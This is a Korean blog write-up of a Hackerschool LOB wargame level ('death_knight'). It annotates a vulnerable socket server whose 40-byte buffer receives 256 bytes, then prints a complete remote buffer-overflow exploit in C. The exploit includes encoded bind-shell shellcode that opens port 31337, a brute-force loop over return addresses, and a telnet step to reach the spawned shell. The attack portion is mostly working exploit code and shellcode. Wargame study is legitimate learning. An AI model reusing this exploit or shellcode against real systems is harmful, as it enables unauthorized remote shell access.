40바이트만큼 선언되엇지만 256바이트만큼 받아 들일 수 있고 6666포트를 개방했습니다 
힌트로는 remote 라고 적혀있네요 먼저 remote를 공부해야 할거 같습니다 .

*remote에 대한 자료는 추후에 올리도록 하겠습니다 

리눅스의 정보 

#include <stdio.h> //기본 헤더 
#include <stdlib.h> //시스템 함수를 사용하기 위함
#include <errno.h>// 특정한 이유에 의해서 비정상 종료될때 오류코드 호출
#include <string.h> // 메모리 블록을 다루기 위하여 추가함 
memset , memcpy , memset ,strlen 
#include <sys/socket.h> // send , recv , socket ,bind 를 쓰기 위하여 추가함 
#include <sys/types.h> //typedef 를 사용하기 위해 추가함
#incldue <netinet/in.h> (socket.h , tpyes.h 대신 사용 가능)
#include <sys/wait.h> //자식 프로세스가 종료될때까지 부모 프로세스는 sleep()모드로 대기한다
#include <dumpcode.h> // 스택의 내용을 hex 코드로 보여줄 수 있다 .
main()
{
  char buffer[40]; // 버퍼에 40만큼의 공간을 할당해줌

  int server_fd , client_fd; // server_fd 와 clinet_fd 변수를 선언하였다
  struct sockaddr_in server_addr; // server_addr 구조체 선언
  struct sockaddr_in client_addr; // client_addr 구조체 선언
  int sin_size; //sin_size 변수 선언
  if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ //소켓의 타입을 TCP로 설정함 (주소 체계 , 소켓타입 , 프로토콜)
             perror("socket") //오류메시지 처리 socket:@@@@라고 뜸 
              exit(1); // 에러가 나서 종료함
 } 

server_addr.sin_family = AF_INET; //소켓의 주소체계를 IPV4로 설정함
server_addr.sin_port = htons(6666);//소켓의 6666포트를 연다.
server_addr.sin_addr.s_addr = INADDR_ANY;// 모두 접속가능하다 
bzero(&(server_addr.sin_zero), 8); // sin_zero 부분을 0으로 초기화한다.

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){  //소켓에 주소 할당을 한뒤 실패한다면 

perror("bind"); //bind 라는 만구를 출력하고 

exit(1); //종료된다

}

if(listen(server_fd, 10) == -1){ //연결 대기 제한 수를 10으로 잡고 실패하면

perror("listen"); //listen을 출력하고 

exit(1); // 종료된다 

}

while(1) {  //무한 루프 

sin_size = sizeof(struct sockaddr_in); //sin_size = 선언한 구조체의 크기 

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr,                   &sin_size)) == -1){ //  클라이언트의 접속요청을 받고 실패하면

perror("accept"); //accept라는 문구를 호출하고

continue; //지속한다 

}

             if (!fork()){ //새로운 프로세서를 생성하지못하면(?)

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); // Death~ 문구를 보냅니다 (52만큼 할당되었음)

send(client_fd, "You : ", 6, 0); //You 라는 문구를 보냅니다

recv(client_fd, buffer, 256, 0); //40만큼 할당된 버퍼에서 256만큼 저장합니다.

close(client_fd);//client_fd 소켓 종료 

break; //while문 종료 

}

close(client_fd);  //client_fd 소켓 종료 

while(waitpid(-1,NULL,WNOHANG) > 0);//임의의 자식 프로세스가 종료되지 않았더라도 바로 종료해라 

}

close(server_fd); //server_fd 소켓 종료 

}

으으으으으으 문제 소스 주석이 다 끝났습니다! 햇갈리는 분은 봐주세요 

저희는 여지껏 로컬환경에서 공격을 진행했습니다 
하지만 이번에는 바깥 환경 ?(원격) 에서 진행을 해야하기 때문에 소켓프로그래밍을 이용해야합니다 .
또한 리모트 버퍼 오버플로우에서는 기존의 쉘코드를 사용해서는 안됩니다 
그 이유는 쉘코드의 fd는 0,1이지만 0,1은 현재 프로세스에서 돌고있는 파이프가 아니기때문에 fork 바이너리가 받아들이지 못합니다 
[ 기존에는 로컬에서 풀고 있던 문제였습니다 로컬에서 풀던 문제는 한 프로세스에서 돌아가고 있던거여서 가능하였지만 지금은 통신형식으로 외부에서 공격을 하는것이고 현재 프로세스에서 돌고 있는 파이프가 아니기때문에 fork 바이너리[ 자식을 0,1로 받지 않습니다]를 통과하지 못하기 때문에 공격할 프로그램과는 별개로 새로운 소켓을 생성하고 포트를 열고 /bin/bash와 연결하는 bindshell 백도어를 실행시켜야한다]

*코드를 추가할때 추가적으로 inte_addr을 이용해야한다 
inet_addr = 문자열 형태로 받은 주소를 8bit당 값을 4개씩 왼쪽에서 오른쪽으로 구성해주는 unsigned long 타입으로 변환해준다 
따라서 #include <arpa/inet.h> 헤더를 추가로 사용해줘야 한다 .

프로그래밍 실력이 모잘라서 이것저것 찾아보고 붙여놓고 하면서 거의 20시간 만에 성공한거같습니다 -_-;;

-------------------------------문제 소스입니다-------------------------------------------------

#include <stdio.h>

#include<stdlib.h>

#include<string.h>

#include<sys/socket.h>

#include<sys/types.h>

#include<netinet/in.h>

#include<arpa/inet.h>


#define BUFSIZE 256 //BUFSIZE = 256 BUFSIZE를 호출하면 256이 들어감

#define RET_BUF 44 //RET_BUF = 44 RET_BUF를 호출하면 44가 들어간다

#define NOP 50      //NOP = 50 NOP을 호출하면 50이 들어간다

#define BIND 31337 //BIND = 31337 BIND를 호출하면 31337이 들어간다


char bindshellcode[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

//바인드쉘코드 31337 포트를 개방하고 쉘을 실행시킵니다
exploitdb 및 검색으로 간단히 구하실 수 있어요 

int main(int argc, char* argv[]) //main 함수에 argc ,argv라는 매개변수를 전달한다.

{

int sock; //sock 변수를 선언한다

struct sockaddr_in target_addr; //target_addr 구조체 선언

unsigned int retaddr = 0xbffffff0; //바꿔나갈 return addr의 초기값

unsigned char buffer[BUFSIZE]; //버퍼의 사이즈를 설정한다 

char cmd[130]; //telnet 명령어 넣을곳의 크기 

sprintf(cmd, "%s %s %d", "telnet","localhost",BIND);

//sprintf = 변수에 형식 대입이 가능함 고로 cmd에 telnet~같은 문자열을 저장함)

while(1) { //무한 반복 ==for(;;)

memset(&target_addr, 0, sizeof(target_addr)); //target_addr의 모든 값을 0으로 초기화한다 

target_addr.sin_family = AF_INET; //소켓의 주소체계를 IPV로 설정한다

target_addr.sin_port = htons(6666);//소켓의 6666포트를 연다

target_addr.sin_addr.s_addr=inet_addr("127.0.0.1"); //127.0.0.1에 접속을 한다 

if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
//IPv4 프로토콜 사용 , TCP/IP 이용 0프로토콜사용(보통 0 값을씀) 을 sock에 대입한후 만약 실패를 하게 되면

printf ("socket error"); //socket error 문구를 출력한다

return -1; // 오류를 반환한다

}

if(connect(sock, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1){
//연결요청을 target_addr의 주소로 보내고 그 주소 정보를 struct sockaddr 포인터가 가지고있다 sizeof(target_addr) = struct sockaddr*)&target_addr 포인터가 가르키고있는 구조체의 크기 [sock = 디스크립터]를 전달해서 연결에 실패한다면

printf("connect error"); //connect error를 출력함

close(sock); //sock을 닫는다 

continue; //while문을 빠져나와서 다음걸 진행한다 

}

retaddr -= NOP; // return addr의 초기값에서 NOP값 만큼 계속 감소

printf("retaddr : 0x%p\n" , retaddr); //retaddr의 주소를 출력함

memset(buffer, '\x90', sizeof(buffer));//버퍼를 모두 놉코드로 초기화 한다.

memcpy(buffer+RET_BUF, &retaddr, 4);//ret주소에 retaddr의 주소를 넣음

memcpy(buffer+100, bindshellcode, strlen(bindshellcode));//버퍼에서 100만큼 떨어진곳에 bindshellcode 만큼 크기를 할당하고 bindshellcode를 넣는다

send(sock, buffer , strlen(buffer), 0);// sock = 디스크립터 현재 버퍼가 들어잇는 소켓을 전송합니다

system(cmd); //시스템함수로 텔넷 명령어를 넣는다 

sleep(1); //1초마다 반복합니다 

close(sock); //sock을 닫습니당

}

return 0; //끄으으읕

}

대충 이렇게 구성이 되어있습니다
[제가 전부 짠 소스가 아니고 이곳 저곳 참고하면서 작성했습니다. 다음에 파이썬 이후에 소켓 프로그래밍도 공부해보고 싶습니다!]

실행을 시키니 Escape character is '^]' . 라는 문구가 등장하네요 
처음에는 오류인지 알고 소스를 처음부터 다시 짜려고 했습니다만

http://openness.tistory.com/entry/telnet-%EC%A0%91%EC%86%8D-%ED%85%8C%EC%8A%A4%ED%8A%B8-%EA%B2%B0%EA%B3%BC-%EC%9D%98%EB%AF%B8 

이곳을 참고하시면 프로세스가 열린것을 알 수 있습니다 .

이런식으로 시도를 계속 해봣으나 실패했습니다 

세미콜론을 붙여서 하니까 출력이 되는군요 ?
[뒤에 쓰레기 값들이 붙어서 세미콜론으로 잘라내서 출력이 된것인지는 모르겠지만 추측해보고 있습니다. 아시는 분은 댓글좀 부탁드리겠습니다..]

수고하셨습니다!


'해커스쿨 lob' 카테고리의 다른 글

LOB 정리  (0) 2016.05.24
LOB CLEAR~  (0) 2016.05.21
LOB xavius  (0) 2016.05.19
LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16

+ Recent posts